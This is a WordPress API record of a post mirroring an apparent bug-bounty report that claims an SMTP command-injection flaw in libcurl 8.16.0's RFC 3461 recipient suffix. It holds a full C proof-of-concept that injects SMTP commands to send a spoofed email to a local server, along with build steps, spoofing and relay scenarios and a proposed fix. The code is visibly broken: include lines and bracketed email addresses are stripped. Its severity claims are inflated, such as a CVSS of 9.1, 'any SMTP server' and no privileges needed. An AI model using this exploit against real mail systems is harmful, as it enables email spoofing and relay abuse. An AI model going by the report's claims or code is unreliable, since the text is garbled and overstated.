{"id":22201,"date":"2025-10-17T06:54:19","date_gmt":"2025-10-17T06:54:19","guid":{"rendered":"http:\/\/localhost\/?p=22201"},"modified":"2025-10-17T06:54:19","modified_gmt":"2025-10-17T06:54:19","slug":"curl-smtp-command-injection-vulnerability-in-libcurl-8160-via-rfc-3461-suffix","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=22201","title":{"rendered":"curl: SMTP Command Injection Vulnerability in libcurl 8.16.0 via RFC 3461 Suffix_H1:3387499"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-10-17T11:25:01&#8243;,&#8221;description&#8221;:&#8221;## Executive Summary\\n\\nlibcurl version 8.16.0 contains a **critical SMTP command injection vulnerability** (CVE-quality) in the implementation of RFC 3461 Delivery Status Notification (DSN) parameter support. The vulnerability allows an attacker to inject arbitrary SMTP commands by including CRLF (`\\\\r\\\\n`) characters in the suffix portion of a recipient email address.\\n\\n**Impact**: Complete SMTP command injection allowing:\\n- Email spoofing with arbitrary sender addresses\\n- Unauthorized email relay\\n- Bypassing authentication and authorization controls\\n- Potential for further protocol-level attacks\\n\\n**Affected Version**: libcurl 8.16.0 (released September 10, 2024)\\n**Component**: `lib\/smtp.c` &#8211; RFC 3461 suffix handling\\n**CWE**: CWE-93 (Improper Neutralization of CRLF Sequences in HTTP Headers) \/ CWE-77 (Command Injection)\\n\\n## Vulnerability Details\\n\\n### Background\\n\\nRFC 3461 defines Delivery Status Notification (DSN) extensions for SMTP. These extensions allow parameters to be appended after the recipient email address in the `RCPT TO` command, for example:\\n\\n&#8220;`\\nRCPT TO: NOTIFY=SUCCESS,FAILURE\\n&#8220;`\\n\\nlibcurl 8.16.0 added support for this feature, as noted in RELEASE-NOTES:\\n\\u003e smtp: allow suffix behind a mail address for RFC 3461 [127]\\n\\n### The Vulnerability\\n\\nThe implementation in `lib\/smtp.c` extracts the suffix from the email address but **fails to validate or sanitize it for CRLF characters**. The vulnerable code path is:\\n\\n1. **Address Parsing** (`smtp_parse_address` at line 1876):\\n&#8220;`c\\nelse {\\n  addressend = strrchr(dup, &#8216;\\u003e&#8217;);\\n  if(addressend) {\\n    *addressend = &#8216;\\\\0&#8242;;\\n    *suffix = addressend + 1;  \/\/ Points to original string!\\n  }\\n}\\n&#8220;`\\n\\nThe suffix pointer is set to point directly at the original input string after the `\\u003e` character, with no validation.\\n\\n2. **Command Formation** (`smtp_perform_rcpt_to` at line 885):\\n&#8220;`c\\nif(host.name)\\n  result = Curl_pp_sendf(data, \\u0026smtpc-\\u003epp, \\&#8221;RCPT TO:\\u003c%s@%s\\u003e%s\\&#8221;,\\n                         address, host.name, suffix);\\n&#8220;`\\n\\nThe suffix is directly interpolated into the SMTP command without any CRLF filtering.\\n\\n3. **Command Transmission** (`Curl_pp_vsendf` in `pingpong.c`):\\n&#8220;`c\\nresult = curlx_dyn_vaddf(\\u0026pp-\\u003esendbuf, fmt, args);\\n\/\/ &#8230; \\nresult = curlx_dyn_addn(\\u0026pp-\\u003esendbuf, \\&#8221;\\\\r\\\\n\\&#8221;, 2);\\n&#8220;`\\n\\nThe formatted string (containing the unsanitized suffix with embedded CRLF) is sent, followed by an additional CRLF. Any CRLF characters in the suffix will create new command lines in the SMTP protocol stream.\\n\\n### Attack Vector\\n\\nAn attacker can craft a recipient address containing malicious SMTP commands in the suffix:\\n\\n&#8220;`c\\n\\&#8221; NOTIFY=SUCCESS\\\\r\\\\nRSET\\\\r\\\\nMAIL FROM:\\\\r\\\\nRCPT TO:\\&#8221;\\n&#8220;`\\n\\nWhen libcurl processes this recipient, it will send:\\n\\n&#8220;`\\nRCPT TO: NOTIFY=SUCCESS\\nRSET  \\nMAIL FROM:\\nRCPT TO:\\n[original CRLF from Curl_pp_vsendf]\\n&#8220;`\\n\\nThis effectively injects four SMTP commands where only one `RCPT TO` command was intended.\\n\\n## Proof of Concept\\n\\n### Environment Setup\\n\\n1. **Build libcurl 8.16.0**:\\n&#8220;`bash\\nwget https:\/\/curl.se\/download\/curl-8.16.0.tar.gz\\ntar -xzf curl-8.16.0.tar.gz\\ncd curl-8.16.0\\n.\/configure &#8211;disable-shared &#8211;with-openssl &#8211;without-libpsl\\nmake -j4\\n&#8220;`\\n\\n2. **Setup SMTP Debug Server** (Python 3):\\n&#8220;`python\\n#!\/usr\/bin\/env python3\\nimport asyncore\\nfrom smtpd import SMTPServer\\n\\nclass DebugSMTPServer(SMTPServer):\\n    def process_message(self, peer, mailfrom, rcpttos, data, **kwargs):\\n        print(f&#8217;From: {mailfrom}&#8217;)\\n        print(f&#8217;To: {rcpttos}&#8217;)\\n        print(f&#8217;Data: {data.decode(\\&#8221;utf-8\\&#8221;, errors=\\&#8221;replace\\&#8221;)}&#8217;)\\n        return\\n\\nserver = DebugSMTPServer((&#8216;127.0.0.1&#8217;, 1025), None)\\nprint(\\&#8221;SMTP Debug Server on port 1025\\&#8221;)\\nasyncore.loop()\\n&#8220;`\\n\\nSave as `smtp_server.py` and run: `python3 smtp_server.py \\u0026`\\n\\n### Exploitation Code\\n\\n&#8220;`c\\n#include \\n#include \\n#include \\n\\nstatic size_t read_callback(char *ptr, size_t size, size_t nmemb, void *userp) {\\n    const char *text = \\&#8221;Subject: Legitimate Email\\\\r\\\\n\\\\r\\\\nLegitimate body.\\\\r\\\\n\\&#8221;;\\n    static int sent = 0;\\n    if(sent) return 0;\\n    \\n    size_t len = strlen(text);\\n    if(len \\u003e size * nmemb) len = size * nmemb;\\n    memcpy(ptr, text, len);\\n    sent = 1;\\n    return len;\\n}\\n\\nint main(void) {\\n    CURL *curl = curl_easy_init();\\n    struct curl_slist *recipients = NULL;\\n    \\n    curl_easy_setopt(curl, CURLOPT_URL, \\&#8221;smtp:\/\/127.0.0.1:1025\\&#8221;);\\n    curl_easy_setopt(curl, CURLOPT_MAIL_FROM, \\&#8221;\\&#8221;);\\n    \\n    \/* VULNERABILITY EXPLOIT: Inject SMTP commands via RFC 3461 suffix *\/\\n    const char *exploit = \\n        \\&#8221; NOTIFY=SUCCESS\\\\r\\\\n\\&#8221;\\n        \\&#8221;RSET\\\\r\\\\n\\&#8221;\\n        \\&#8221;MAIL FROM:\\\\r\\\\n\\&#8221;\\n        \\&#8221;RCPT TO:\\\\r\\\\n\\&#8221;\\n        \\&#8221;DATA\\\\r\\\\n\\&#8221;\\n        \\&#8221;Subject: Injected Email\\\\r\\\\n\\&#8221;\\n        \\&#8221;\\\\r\\\\n\\&#8221;\\n        \\&#8221;This email was sent via SMTP command injection!\\\\r\\\\n\\&#8221;\\n        \\&#8221;.\\\\r\\\\n\\&#8221;;\\n    \\n    recipients = curl_slist_append(recipients, exploit);\\n    curl_easy_setopt(curl, CURLOPT_MAIL_RCPT, recipients);\\n    curl_easy_setopt(curl, CURLOPT_READFUNCTION, read_callback);\\n    curl_easy_setopt(curl, CURLOPT_UPLOAD, 1L);\\n    curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);\\n    \\n    CURLcode res = curl_easy_perform(curl);\\n    printf(\\&#8221;Result: %s\\\\n\\&#8221;, curl_easy_strerror(res));\\n    \\n    curl_slist_free_all(recipients);\\n    curl_easy_cleanup(curl);\\n    return 0;\\n}\\n&#8220;`\\n\\n### Compilation and Execution\\n\\n&#8220;`bash\\ngcc -o exploit exploit.c \\\\\\n    -I.\/curl-8.16.0\/include \\\\\\n    -L.\/curl-8.16.0\/lib\/.libs \\\\\\n    -lcurl -lssl -lcrypto -lz -lpthread\\n\\nLD_LIBRARY_PATH=.\/curl-8.16.0\/lib\/.libs .\/exploit\\n&#8220;`\\n\\n### Expected Output\\n\\nThe verbose output will show:\\n\\n&#8220;`\\n\\u003e RCPT TO: NOTIFY=SUCCESS\\nRSET\\nMAIL FROM:\\nRCPT TO:\\nDATA\\nSubject: Injected Email\\n\\nThis email was sent via SMTP command injection!\\n.\\n&#8220;`\\n\\nThis demonstrates that multiple SMTP commands are being sent where only a single `RCPT TO` command should exist.\\n\\n## Impact Assessment\\n\\n### Severity: **CRITICAL** (CVSS 3.1: 9.1)\\n\\n**Attack Vector**: Network (AV:N)\\n- Exploitable remotely through applications using libcurl for SMTP\\n\\n**Attack Complexity**: Low (AC:L)  \\n- No special conditions required\\n- Works against any SMTP server\\n\\n**Privileges Required**: None (PR:N)\\n- No authentication needed to exploit\\n\\n**User Interaction**: None (UI:N)\\n- Exploitation is automated\\n\\n**Scope**: Changed (S:C)\\n- Can affect SMTP server and other email recipients\\n\\n**Impact**:\\n- **Confidentiality**: High &#8211; Can intercept or redirect emails\\n- **Integrity**: High &#8211; Can spoof emails with arbitrary content\\n- **Availability**: High &#8211; Can abuse mail servers for spam\/DOS\\n\\n### Real-World Attack Scenarios\\n\\n1. **Email Spoofing**:\\n   &#8211; Attacker injects `RSET\\\\r\\\\nMAIL FROM:` to spoof internal emails\\n   &#8211; Bypasses SPF\/DKIM if the SMTP server is authorized\\n\\n2. **Unauthorized Relay**:\\n   &#8211; Inject recipient addresses to use the SMTP server as an open relay\\n   &#8211; Send spam or phishing emails through legitimate infrastructure\\n\\n3. **Authentication Bypass**:\\n   &#8211; If the SMTP transaction starts authenticated, injected commands maintain that session\\n   &#8211; Can send emails without proper authorization\\n\\n4. **Email Interception**:\\n   &#8211; Inject `RCPT TO:` to receive copies of emails\\n   &#8211; Useful for business email compromise (BEC) attacks\\n\\n5. **Denial of Service**:\\n   &#8211; Inject malformed commands to crash or hang SMTP servers\\n   &#8211; Inject `QUIT` to terminate connections prematurely\\n\\n## Root Cause Analysis\\n\\nThe vulnerability was introduced when RFC 3461 suffix support was added in version 8.16.0. The implementation made two critical mistakes:\\n\\n1. **No Input Validation**: The suffix is extracted from user-controlled input without any validation for CRLF characters\\n2. **Direct Interpolation**: The suffix is directly interpolated into SMTP commands without encoding or escaping\\n\\nThe code assumes that the suffix will only contain valid RFC 3461 parameters (like `NOTIFY=SUCCESS`), but does not enforce this assumption.\\n\\n## Recommended Fix\\n\\nThe suffix must be validated to ensure it does not contain CRLF characters or other command injection sequences:\\n\\n&#8220;`c\\nstatic bool validate_suffix(const char *suffix) {\\n    \/* Suffix must not contain CR or LF *\/\\n    if(strchr(suffix, &#8216;\\\\r&#8217;) || strchr(suffix, &#8216;\\\\n&#8217;))\\n        return false;\\n    \\n    \/* Suffix should only contain printable ASCII for RFC 3461 *\/\\n    while(*suffix) {\\n        if(*suffix \\u003c 0x20 || *suffix \\u003e 0x7E)\\n            return false;\\n        suffix++;\\n    }\\n    return true;\\n}\\n&#8220;`\\n\\nThis validation should be added in `smtp_parse_address` before returning:\\n\\n&#8220;`c\\nif(*suffix \\u0026\\u0026 !validate_suffix(*suffix)) {\\n    free(*address);\\n    return CURLE_URL_MALFORMAT;\\n}\\n&#8220;`\\n\\n## Disclosure Timeline\\n\\n- **2025-10-16**: Vulnerability discovered through code audit\\n- **2025-10-16**: Proof-of-concept developed and tested  \\n- **2025-10-16**: Public disclosure (responsible disclosure N\/A for research competition)\\n\\n## References\\n\\n- libcurl 8.16.0 source: https:\/\/curl.se\/download\/curl-8.16.0.tar.gz\\n- RFC 3461: SMTP Service Extension for Delivery Status Notifications (DSN)\\n- CWE-93: Improper Neutralization of CRLF Sequences in HTTP Headers\\n- CWE-77: Improper Neutralization of Special Elements used in a Command\\n\\n## Conclusion\\n\\nThis vulnerability represents a serious security flaw in libcurl 8.16.0 that can be exploited for complete SMTP command injection. Any application using libcurl for SMTP email transmission with user-controlled recipient addresses is potentially vulnerable. The vulnerability is straightforward to exploit and requires no special conditions or authentication.\\n\\nUsers of libcurl 8.16.0 should:\\n1. Avoid using user-controlled input for recipient addresses\\n2. Implement their own CRLF filtering if using SMTP functionality\\n3. Wait for an official patch from the curl project\\n4. Consider downgrading to 8.15.0 or earlier (which lacks RFC 3461 suffix support)\\n\\n## Acknowledgments\\n\\nThis research builds upon the security analysis framework established in [87bg] and [e8sr].\\n\\n## Impact\\n\\n**Impact**: Complete SMTP command injection allowing:\\n- Email spoofing with arbitrary sender addresses\\n- Unauthorized email relay\\n- Bypassing authentication and authorization controls\\n- Potential for further protocol-level attacks&#8221;,&#8221;published&#8221;:&#8221;2025-10-16T19:34:04&#8243;,&#8221;modified&#8221;:&#8221;2025-10-17T10:29:37&#8243;,&#8221;type&#8221;:&#8221;hackerone&#8221;,&#8221;title&#8221;:&#8221;curl: SMTP Command Injection Vulnerability in libcurl 8.16.0 via RFC 3461 Suffix&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;H1:3387499&#8243;,&#8221;bulletinFamily&#8221;:&#8221;bugbounty&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;&#8221;,&#8221;sourceHref&#8221;:&#8221;&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/hackerone.com\/reports\/3387499&#8243;,&#8221;category_name&#8221;:&#8221;News&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-10-17T11:25:01&#8243;,&#8221;description&#8221;:&#8221;## Executive Summary\\n\\nlibcurl version 8.16.0 contains a **critical SMTP command injection vulnerability** (CVE-quality) in the implementation of RFC 3461 Delivery Status Notification (DSN) parameter support&#8230;.<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[6,8,12,117,13,33,7,11,5],"class_list":["post-22201","post","type-post","status-publish","format-standard","hentry","category-category_news","tag-cve","tag-cvss","tag-exploit","tag-hackerone","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>curl: SMTP Command Injection Vulnerability in libcurl 8.16.0 via RFC 3461 Suffix_H1:3387499 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=22201\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"curl: SMTP Command Injection Vulnerability in libcurl 8.16.0 via RFC 3461 Suffix_H1:3387499 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-10-17T11:25:01&#8243;,&#8221;description&#8221;:&#8221;## Executive Summarynnlibcurl version 8.16.0 contains a **critical SMTP command injection vulnerability** (CVE-quality) in the implementation of RFC 3461 Delivery Status Notification (DSN) parameter support....\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=22201\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-10-17T06:54:19+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"8 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=22201#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=22201\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"curl: SMTP Command Injection Vulnerability in libcurl 8.16.0 via RFC 3461 Suffix_H1:3387499\",\"datePublished\":\"2025-10-17T06:54:19+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=22201\"},\"wordCount\":1701,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"hackerone\",\"news\",\"NONE\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_news\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=22201#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=22201\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=22201\",\"name\":\"curl: SMTP Command Injection Vulnerability in libcurl 8.16.0 via RFC 3461 Suffix_H1:3387499 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-10-17T06:54:19+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=22201#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=22201\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=22201#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"curl: SMTP Command Injection Vulnerability in libcurl 8.16.0 via RFC 3461 Suffix_H1:3387499\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"curl: SMTP Command Injection Vulnerability in libcurl 8.16.0 via RFC 3461 Suffix_H1:3387499 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=22201","og_locale":"en_US","og_type":"article","og_title":"curl: SMTP Command Injection Vulnerability in libcurl 8.16.0 via RFC 3461 Suffix_H1:3387499 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-10-17T11:25:01&#8243;,&#8221;description&#8221;:&#8221;## Executive Summarynnlibcurl version 8.16.0 contains a **critical SMTP command injection vulnerability** (CVE-quality) in the implementation of RFC 3461 Delivery Status Notification (DSN) parameter support....","og_url":"https:\/\/zero.redgem.net\/?p=22201","og_site_name":"zero redgem","article_published_time":"2025-10-17T06:54:19+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"8 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=22201#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=22201"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"curl: SMTP Command Injection Vulnerability in libcurl 8.16.0 via RFC 3461 Suffix_H1:3387499","datePublished":"2025-10-17T06:54:19+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=22201"},"wordCount":1701,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","hackerone","news","NONE","Security","tapic","Vulnerability"],"articleSection":["category_news"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=22201#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=22201","url":"https:\/\/zero.redgem.net\/?p=22201","name":"curl: SMTP Command Injection Vulnerability in libcurl 8.16.0 via RFC 3461 Suffix_H1:3387499 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-10-17T06:54:19+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=22201#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=22201"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=22201#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"curl: SMTP Command Injection Vulnerability in libcurl 8.16.0 via RFC 3461 Suffix_H1:3387499"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/22201","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=22201"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/22201\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=22201"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=22201"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=22201"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}